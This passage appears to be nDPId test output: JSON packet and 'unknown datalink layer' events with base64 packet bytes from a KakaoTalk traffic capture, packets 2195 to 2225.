+00536{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2195,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":807959,"pkt_caplen":171,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":171,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJsAAEAAPxHbBwoYUrwByQGuLDhaBACH6WyAbFDEi0FgWguGVRlJd1SH6P9p5U\/6aQvcxetxQg+ag4lLBFJmnjS19dRfRuxpvbe9J8i2jzJM2AloVApr8jRg4h+tf37M1UC\/4P0JvAz7mm+jKbnH1qZPzXV66lvx+7egygDwuM6phIoH7ZFrIxUrNLAR\/6UsWvrJNMbx\/i9q"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2195,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00580{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2196,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":809058,"pkt_caplen":204,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":204,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALwAAEAAPxHa5goYUrwByQGuLDhaBACo38uAbFDFi0FkGguGVRl+9n2Et9rDrYUnueI5Gb6JeTpTI\/jlPWv+SY4K04ihn+Lc65qNNzNk6D9\/nvugWh4cKOwikW9vf2QdMavkwMHPexUgmM0evvHLHn78J2EbxW5i0a6Lm2Ops5puUxwFvdf4w\/+HUfTo8XzNCD\/BdOw6MtW0K6sGne6ncMW9vusrSTAJV6dBsEEtQ1oSqWcJ5gnRaoWE"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2196,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00476{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2197,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":843238,"pkt_caplen":127,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":127,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAG8AAEAAHRH9CwHJAa4KGFK8WgQsOABb9RKAbDM0frBvg1SapdqzqmpQvsjMEUDwXZ4H85eDOQYp1BLnQO9dLWrHxZf7la0dQSouLLwx+uzcgckJMtq9TwB7dsS7oVuzGRvZ5SO9ldYPxddu1Q=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2197,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00542{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2198,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":859198,"pkt_caplen":175,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":175,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJ8AAEAAHBH92wHJAa4KGFK8WgYoHACLGGqAbFCui0EN2guGVRlqRIePj2o7S7zhIuIm5MPbjZ6yzj2x0oWfNpx38zXo3mqfNH2y1CRjVlE5EIucql9blgoLD4mky4LaCwckvTFos3iWDRuq\/0ZYtcDPuxgv8Y67bQ5mHsX7RF+ohtrrYeM459CkmBz3Ss4UtFQxGkDDMjAIvYM\/Cg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2198,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2199,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":860633,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH4AAEAAQBHaJAoYUrwByQGuKBxaBgBq1FKAbDNLfrDFw1SapdpSpTZQa5BAFiwfDWrZDiI+wboyQ7iKdub1HgpfJrgosPdfsmktOt42FD3LwRGBjgWyvZZv5oM7xtLKedO8JzJe5ymM6Ns+hNn+J+2UzEXB6NBJrzbQ\/g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2199,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00494{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2200,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":879218,"pkt_caplen":139,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":139,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHsAAEAAHBH9\/wHJAa4KGFK8WgYoHABnXVqAbFCvi0ERmguGVRmGe\/zJmZOnEB3MBsOWEc4ZCBOlBMyIn5QC8iMNNX9NJcYlsxiDwYFkZmUa8KlU5mF0sjJ5LpZdbbM+oSDcdNSrTsdTZE7wrIxcn3lUY6WCVfeMyQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2200,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00486{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2201,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":900458,"pkt_caplen":134,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":134,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHYAAEAAQBHaLAoYUrwByQGuKBxaBgBiawOAbDNMfrDJg1Sapdqu72Hw\/puqCWl1nrZwxNxaGufBENqO+F4Jkhfwg5GdTBwJUxZwiNwtoFNOaPPJxAP4yIMch6shdEhJVWFurXcrHPMTO3ZI3vNiBe\/d2Qo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2201,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00597{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2202,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":912177,"pkt_caplen":219,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":219,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMsAAEAAPxHa1woYUrwByQGuLDhaBAC3r+SAbFDGi0Fn2guGVRm8rWeVVxTdu1JPIXEaObFA0Jg5uYdtSfcVUrBblicVKoSd9RpF8N6Nhj03P33BlRAgwK6rJTwpMf42mP0XC5WtiCvCOYFFaDxQF4Bx+oB6M8vcVH5vJaGHkZy+19ak2VwJNGxBRl7zD3Biv+mpQE0ly+yB+4AnggQrk5p8IYZtF5mdsPFL27Kve0JItLK1QeaIl3IdQjWhCOcgoTW1kcMzjh\/6"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2202,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00493{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2203,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":977729,"pkt_caplen":139,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":139,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHsAAEAAQBHaJwoYUrwByQGuKBxaBgBnvLqAbDNNfrDNQ1SapdpVeC6JK31KInBLd1F8N3zjKz3YsStHV9we5ibk0sGCmktt2qNjtJ0C0TWUmBmbe9Kb1FXQLbyxm4rNw9+\/5LGASnrnjs8AolDuYYE9rcimXqANrw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2203,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00602{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2204,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":11969,"pkt_caplen":220,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":220,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMwAAEAAPxHa1goYUrwByQGuLDhaBAC4rAuAbFDHi0FrmguGVRn1Pf\/1AGQJwdmEsGYbRKCaCAKOyic\/leYniZZWM8bj8d\/oAHwyAwE6iYrgAG9VytrnePCSlI+NoKfeoKaJkH2asXZWsDYAVNepquMcHXJ+UwUHfi0gGaWhn4+TaNTastjIGudkNyNiF2OYptGxiG5xKH3zaLPOill9S4EkPkW+dsEMWBzgtWQ8VPKPx0nHv5W8DNhDYMmMVYp9q7RVyqdcKmggYg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2204,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00585{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2205,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":12061,"pkt_caplen":210,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":210,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMIAAEAAPxHa4AoYUrwByQGuLDhaBACut7+AbFDIi0FvWguGVRnjHMAbeQYQ9zU6+IYshvkaEKQarEMaGHBOFG91zERP+XwPnje6BqSXPn3nUETTEtCmgf2lTToWLmveeaPUA+Nr4rTDDQk0P1yklq9lo4F\/fIRgveDFqhXhIHKflDSHjV991JmzI1bjNt8o4ezk5r8j7qFH6Aqqa8B3TzMA9OK\/JZVpStbibKpOftAzvZy1D8AJbNsn9F8zE0w3"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2205,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00480{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2206,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":43311,"pkt_caplen":132,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":132,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHQAAEAAHRH9BgHJAa4KGFK8WgQsOABg7kuAbDM1frBzQ1Sapdrb8w9mpV7eVJzqkccQp+0qAZsMoX59u3FKetxj0hXKk+3kU7h0M888pXvGg\/soBKh7skoLVLi1ax59Io1JQQ7JFsnpMrCBGT2nshfK"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2206,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2207,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":44318,"pkt_caplen":143,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":143,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH8AAEAAQBHaIwoYUrwByQGuKBxaBgBrlcSAbDNOfrDRA1SapdrLz7J8fOKoGRex\/xKK0uuMtJ4g8A0l8M242rCu38cI69ut5SOcay4eOl2XP3eK6R38hGuLiRps+Hcis+ADYTix69dJvmzorGwRs0wMXIPNuhI6\/JdTQ3c="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2207,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00571{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2208,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":87439,"pkt_caplen":196,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":196,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALQAAEAAHRH8xgHJAa4KGFK8WgQsOACgpQiAbDM2frB3A1SapdpyMgPInhxcAoWmVzESeYLM3087lMSB4kWY09K2p72xhrHh33FpzRMrgkCVnyPEXm\/yvRIJIL5FBsSIPfG92d0mrVU2FvgECObk71dqV6rffJyr\/TW2HE6l6FwvqnHei2xXh0tP8\/m4OaVmPbjFAtjpgGbgA3eZsxj7ARS02AGfR9ATf7iI+Dbi\/TK7YQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2208,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00597{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2209,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":108985,"pkt_caplen":217,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":217,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMkAAEAAPxHa2QoYUrwByQGuLDhaBAC1GdqAbFDJi0FzGguGVRm56mbE+9gQb3uo3Elcy3ajFau5oEkKF09casG0g\/px6gB7oWaayOe2eMsHo98ZHp5zHNQjUv5TKTgtrP42NEnNJqHfApUQvQBhOBY3cjMGdtnu+PFSA9BIirwDyGHEbSaWGQKJaPnXJEvZ3G+YTkMts9p+NS5fv2xzYwZp1EK2EggbDqb6CyEMGRCig38NRUGhZdtCKOcH91+75gmgVGyH8A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2209,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00583{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2210,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":109839,"pkt_caplen":206,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAL4AAEAAPxHa5AoYUrwByQGuLDhaBACq4TaAbFDKi0F22guGVRkAS1bW2WfKe+JnawYtcMN1qPdeZqzeLDlGzt9Nh\/U+Fkg64QFBX9EsO8wjPJLH1HNbyNBkeROnfYDUCIFf1kjXFIpItmpjFBnE1hbHhnaNx2M9E8kmJ+MUi116ZJZcJM+YHGcXQ251RDVFzLfN61dLiMoZ\/\/UUsrcdk6xtZ1EFS9Bah658y+R0TmrsXtpLBiLnfdQxft0="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2210,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00472{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2211,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":121558,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAG0AAEAAQBHaNQoYUrwByQGuKBxaBgBZTXOAbDNPfrDUw1SapdqtTfAqDsevweqHNUURnEXSo+lRly5zihUEEgqsAeMA1njykhdUpwXZaRJVairju4U2fYFMU2hNhPZR60rZwf5hNaJGb6I="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2211,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2212,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":144690,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJn8OAbFCwi0EVWguGVRl+JrFxOvsP2PXqXn\/d7KnB\/sIcqF3e7sjrEvTPSXoCew\/0DHjucdf9Eq7UJJYNQW2cRMT1vg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2212,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00484{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2213,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":184272,"pkt_caplen":131,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":131,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHMAAEAAQBHaLwoYUrwByQGuKBxaBgBfJqeAbDNQfrDYg1SapdrH49HX+oXJKXB18mnXhQpqOx\/UZlp9m\/UyfaUrUz12\/MueS6RkcMV92PAznlwnZeH3G8vhhZm3klaWFioMg\/c2LItnnrWq2KfBtUI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2213,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00555{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2214,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":192572,"pkt_caplen":184,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":184,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKgAAEAAHBH90gHJAa4KGFK8WgYoHACUEPuAbFCxi0EZGguGVRnxVjizIisbiTE+awzW8DlXExA\/noz8yw7rftFefkCBfzY4McwBOsLEio7zengaYMnHLh5MqbcG5fIj\/o0V97OFscwutiF2tI7OUGKlnwGVzNCt6nk4v8DVM6o3AQGe38IEIy4LM\/dZM7TsTWA5LCY8Jp4NEFg1LipNkjZWBPZlVg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2214,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00506{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2215,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":213538,"pkt_caplen":148,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":148,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIQAAEAAPxHbHgoYUrwByQGuLDhaBABw\/wmAbFDLi0F6mguGVRmgy7HRohhu2+TOHBMsotdWoE4A4IM297DcPMkGy6oBXn7G6wxtULXVtHDedhT+dTNMBhqSCh0r6KsjvcNrWp\/KnWqzLbXVeqGfqRwzZcxAM0SMsBQYVHf7oawmtQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2215,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00476{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2216,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":221381,"pkt_caplen":129,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHEAAEAAQBHaMQoYUrwByQGuKBxaBgBd4W6AbDNRfrDcQ1SapdpkV3Q43dPXz9btIKWL0Xsdh4HNCyUxUMfx3nF2CD3tl1nhoRVnPY9y80xQpwXsS8txDyCcyWaFh3tocjTBqhW7duO1fKTCI7lg"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2216,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00549{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2217,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":243231,"pkt_caplen":179,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKMAAEAAHRH81wHJAa4KGFK8WgQsOACPvxiAbDM3frB6w1SapdrRYmy0Oola6ShjLZV2WCbD36whUXZ43Dlqspx7M1y\/qOKo8Lnwe4rpseouYMVh187SON9ue2WMNRjOKou5xAbqDm1V3XdqLKYKLaxPhRnYFsNNwFSExmhXkMgz24vOdFYPQIGOKe\/H9aHmBu\/+zGC2+3\/\/JgtXsJowXVA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2217,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00599{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2218,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":259314,"pkt_caplen":217,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":217,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMkAAEAAHBH9sQHJAa4KGFK8WgYoHAC111SAbFCyi0Ec2guGVRmaLZjjZv0SSS9bg26nBzAsROWsNipR8ZxhPxqlcaRWm+JX0NJCQUcry48ga9KwFGmgiOeKoNghAg\/FQrW1aVnvI9ApKAe\/2QQJQzNMS8p3n0\/gL4JnLV0Gzw3J9QFNVz4JY0seOyQu6nNkXawyHhWvU2Xw5NY4KmsTCjMIaqmrmWPVGwt+lsLlDpPxPCpaAZFs7NdMVlrsMFqUtXdwwbjAoA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2218,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2219,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":265662,"pkt_caplen":132,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":132,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHQAAEAAQBHaLgoYUrwByQGuKBxaBgBglGyAbDNSfrDgA1SapdrWFbpGSmfPNBdBtV1bnd\/nU0DqQ7bEwC3bQ8fW+92NJfVHuzUEFXIUpdRJORoom63zrjRP8c19yaNZp5OVKszfkLvYHqVIcqE3hCBa"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2219,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00552{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2220,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":279273,"pkt_caplen":183,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":183,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKcAAEAAHRH80wHJAa4KGFK8WgQsOACTCt+AbDM4frB+g1Sapdp5JmyMV7JEGbEjzha01FHIpsID0WACqqJalkgTRSqSXHAOUceko5CAsu1MzH\/1vG+N+FjaHIxQR\/g7zAJLuXuhboU6aDYKqaP+CY+FLtmq4eZ9\/Wdwaa7Jh5OkczzUB4K7GU5vFOUiyCNjw75nj\/086g4WCmjC43ktYDKpghv6"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2220,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2221,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":310157,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABGNB2AbFDMi0F+WguGVRkGGWTvPLHaH7x0BSH+fNH89KudTaXlAEHh9u8k7Bm52tfIMfRldod\/pQBme8ihH7j7pg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2221,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2222,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":310309,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAPxHbRgoYUrwByQGuLDhaBABIPkyAbFDNi0GCGguGVRlOuV5abANabMeEtdZJg6U0I+HAf\/M6DwyoPmy0+dx3Q7roI1+e7LLmh7eL8\/AJ201Cxf0f"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2222,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00567{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2223,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":310401,"pkt_caplen":194,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":194,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALIAAEAAHRH8yAHJAa4KGFK8WgQsOACe76qAbDM5frCCQ1SapdpxUcwaPs81LBk63ts0j17Sl9eSGdg9yfb8g+EuqnR9XBgaVWB1mo+bFCsIi1ZbaLkwy4RBRRLqlwqRXx8fVST06+XV6DFb\/VmDjs6ROQQL9+cEx4cY+8elPYY8IjCE6M\/dZux65Mkht8Umgbs3r\/v8ZIuj6qVFPJto4nTC5Lryvz2w2RGfKreZiAQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2223,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2224,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":341101,"pkt_caplen":131,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":131,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHMAAEAAQBHaLwoYUrwByQGuKBxaBgBfts+AbDNTfrDjw1SapdpvVg0\/+y9cRmLA7Wx+I91UpdvtoBJ1JYcvsM9XN5e4g+K6UOXugClzltthkeXqWVJPlyynC+2mmve0pqBQF7PbISPKEOR4gV3gpJU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2224,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00587{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2225,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069203,"pkt_ts_usec":359290,"pkt_caplen":210,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":210,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMIAAEAAHBH9uAHJAa4KGFK8WgYoHACuB9CAbFCzi0EgmguGVRlplohP4PXdHKiulAWz\/X5g4dQGswk5XmitDbyS6IurzeiYrLZ6ppqozmvX6b55oUJP3ewerM5Sx3eVxkbupwUZ5vHRNwhJJ2Kly7d93ImOhD9RX0X3glSUkZCDBS+isUrNxYo2ALYq0zAPr3rnTg8NScrxlREWLJ8E\/Rd7LppdCd1tAON809AFzzx00bEXDdtRhWJRpBPS3Ee\/"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer 